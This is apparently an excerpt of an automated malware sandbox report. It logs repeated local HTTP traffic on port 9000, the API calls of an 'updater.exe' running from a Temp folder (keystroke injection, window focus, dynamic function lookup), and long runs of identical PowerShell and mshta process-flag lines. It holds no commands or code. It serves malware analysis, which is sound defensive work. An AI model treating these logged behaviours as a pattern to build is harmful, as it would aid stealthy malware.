Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50131

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C359B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		19_2_00C359B3
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00BC5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		19_2_00BC5EDA

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BD33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

19_2_00BD33B7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
